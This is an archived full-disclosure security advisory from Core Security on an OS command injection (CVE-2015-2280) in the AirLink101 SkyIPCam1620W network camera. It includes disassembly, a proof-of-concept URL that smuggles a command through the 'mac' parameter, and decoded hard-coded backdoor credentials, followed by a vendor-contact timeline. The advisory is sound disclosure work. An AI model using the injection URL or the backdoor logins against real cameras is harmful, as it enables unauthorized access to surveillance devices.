[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[CORE-2015-0011] - AirLink101 SkyIPCam1620W OS Command Injection
- To: <fulldisclosure@xxxxxxxxxxxx>, <bugtraq@xxxxxxxxxxxxxxxxx>
- Subject: [CORE-2015-0011] - AirLink101 SkyIPCam1620W OS Command Injection
- From: CORE Advisories Team <advisories@xxxxxxxxxxxxxxxx>
- Date: Wed, 8 Jul 2015 13:52:09 -0300
1. Advisory Information
Title: AirLink101 SkyIPCam1620W OS Command Injection
Advisory ID: CORE-2015-0011
Advisory URL:
http://www.coresecurity.com/advisories/airlink101-skyipcam1620w-os-command-injection
Date published: 2015-07-08
Date of last update: 2015-07-08
Vendors contacted: AirLink101
Release mode: User release
2. Vulnerability Information
Class: OS Command Injection [CWE-78], Use of Hard-coded Credentials" [CWE-798]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-2280
3. Vulnerability Description
AirLink101 [2] SkyIPCam1620W Wireless N MPEG4 3GPP Network Camera streams
supreme quality MPEG4 and MJPEG image. It supports remote surveillance on
computers over the Internet or on mobile handheld devices.
The SkyIPCam1620W Wireless N MPEG4 3GPP Network Camera [1] is vulnerable to an
OS Command Injection Vulnerability in the snwrite.cgi binary.
4. Vulnerable Packages
AirLink101 SkyIPCam1620W Wireless N MPEG4 3GPP Network Camera with firmware
FW_AIC1620W_1.1.0-12_20120709_r1192.pck (Aug. 2012)
Other devices based on the same firmware are probably affected too, but they
were not tested.
5. Vendor Information, Solutions and Workarounds
Core Security recommends applying a WAF (Web Application Firewall) rule that
would filter the vulnerable request (either the CGI file or the parameters
where the injection is performed) in order to avoid exploitation.
Contact the vendor for further information.
6. Credits
This vulnerability was discovered and researched by Nahuel Riva from the Core
Security Exploit Writing Team. The publication of this advisory was coordinated
by Joaquin Rodriguez Varela from the Core Security Advisories Team.
7. Technical Description / Proof of Concept Code
7.1. OS Command Injection in CGI binary file
[CVE-2015-2280] The snwrite.cgi binary has an OS Command Injection at function
loc_8928 when handling the "mac" parameter:
.text:00008928
.text:00008928 loc_8928
.text:00008928 BL memset
.text:0000892C LDR R3, [R7,#0x40]
.text:00008930 LDR R2, =stderr
.text:00008934 ADD R3, R5, R3
.text:00008938 LDR R0, [R2] ; stream
.text:0000893C LDR R1, =aMacS ; "mac = %s"
.text:00008940 LDR R2, [R3,#0x104]
.text:00008944 BL fprintf
.text:00008948 LDR R2, [R7,#0x40]
.text:0000894C ADD R2, R5, R2
.text:00008950 LDR R3, [R2,#0x104]
.text:00008954 MOV R1, #0x80 ; maxlen
.text:00008958 LDR R2, =aEtcInit_dMacwr ; "/etc/init.d/macwrite.sh %s
1>/dev/null "...
.text:0000895C MOV R0, R8 ; s
.text:00008960 BL snprintf
.text:00008964 MOV R0, R8 ; command
.text:00008968 BL system
.text:0000896C LDR R4, [R7,#0x40]
.text:00008970 B loc_8908
.text:00008970 ; End of function sub_88A8
.text:00008970
The "mac" parameter is used in a printf() call to build a command to execute
the macwrite.sh shell script to update the MAC Address configuration. The
printf() built string is then used in a system() call. Therefore, it is
possible to inject arbitrary commands just by putting a ";" after the "mac"
parameter, for example:
http://<Camera_IP>/maker/snwrite.cgi?mac=1234;ps
In order to invoke the snwrite.cgi binary valid credentials are required, but a
backdoor account located in /server/usr.ini can be used:
nriva@fastix:/mnt/firmware/server$ cat usr.ini
admin=Basic YWRtaW46YWRtaW4=
maker=Basic cHJvZHVjdG1ha2VyOmZ0dnNiYW5uZWRjb2Rl
These accounts are encoded in base64 so it is relatively easy to recover them:
>>> "YWRtaW46YWRtaW4=".decode("base64")
'admin:admin'
>>> "cHJvZHVjdG1ha2VyOmZ0dnNiYW5uZWRjb2Rl".decode("base64")
'productmaker:ftvsbannedcode'
Using the 'productmaker:ftvsbannedcode' backdoor account allows access to the
path /maker/snwrite.cgi and therefore the ability to perform the injection
explained above.
8. Report Timeline
2015-05-04: Core Security sent an initial email notification to AirLink101.
Publication date set to June 8, 2015.
2015-05-07: Core Security sent another email notification to AirLink101.
2015-05-14: Core Security attempted to contact AirLink101 through Twitter.
2015-05-14: Core Security sent yet another email notification to AirLink101.
2015-05-14: AirLink101 replied with a direct Twitter message asking Core to
resend the email.
2015-05-14: Core Security informed AirLink101 through Twitter that they resent
the email.
2015-05-15: Core Security asked AirLink101 through Twitter if they were able to
find the email they sent.
2015-05-18: Core Security again asked AirLink101 through Twitter if they
received the email.
2015-05-19: AirLink101 replied to Core on Twitter saying that they received the
email and were reviewing the situation.
2015-05-20: Core Security replied AirLink101 with a direct Twitter message
stating that they needed their reply soon in order to coordinate the advisory
publication.
2015-05-21: AirLink101 wrote an email requesting that Core share the model and
the issue they found, and requesting a contact phone number.
2015-05-22: Core Security replied to AirLink101 by email and asked if they had
a PGP key or if they preferred the report to be sent in plain text.
Additionally, Core informed AirLink101 that it is their policy to communicate
exclusively via email in order to keep a record.
2015-05-22: AirLink101 replied by email and asked when the advisory would be
published without answering the previous question (PGP or plain text) and asked
again for a contact phone number.
2015-05-26: Core Security replied to AirLink101 by email clarifying that they
previously requested their input on whether they would prefer to receive the
information encrypted or in plain text, and explained again that it is their
policy to communicate using email.
2015-05-28: Core Security asked AirLink101 by email if they received their
previous message.
2015-06-04: Core Security again asked AirLink101 if they were receiving their
emails. They informed Airlink101 that if they didn't receive an answer soon
they would be forced to publish their findings as a user release.
2015-06-16: Core Security informed AirLink101 that if they didn't receive an
answer that week they would be forced to publish their findings.
2015-06-18: Core Security informed AirLink101 that it was their last chance to
answer their emails, if not the advisory was going to be published on June 23,
2015.
2015-07-08: Advisory CORE-2015-0011 published.
9. References
[1] http://airlink101.com/products/aic1620w.php.
[2] http://www.airlink101.com/.
10. About CoreLabs
CoreLabs, the research center of Core Security, is charged with anticipating
the future needs and requirements for information security technologies. We
conduct our research in several important areas of computer security including
system vulnerabilities, cyber attack planning and simulation, source code
auditing, and cryptography. Our results include problem formalization,
identification of vulnerabilities, novel solutions and prototypes for new
technologies. CoreLabs regularly publishes security advisories, technical
papers, project information and shared software tools for public use at:
http://corelabs.coresecurity.com.
11. About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with
security test and measurement solutions that continuously identify and
demonstrate real-world exposures to their most critical assets. Our customers
can gain real visibility into their security standing, real validation of their
security controls, and real metrics to more effectively secure their
organizations.
Core Security's software solutions build on over a decade of trusted research
and leading-edge threat expertise from the company's Security Consulting
Services, CoreLabs and Engineering groups. Core Security Technologies can be
reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
12. Disclaimer
The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015
CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security advisories
team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.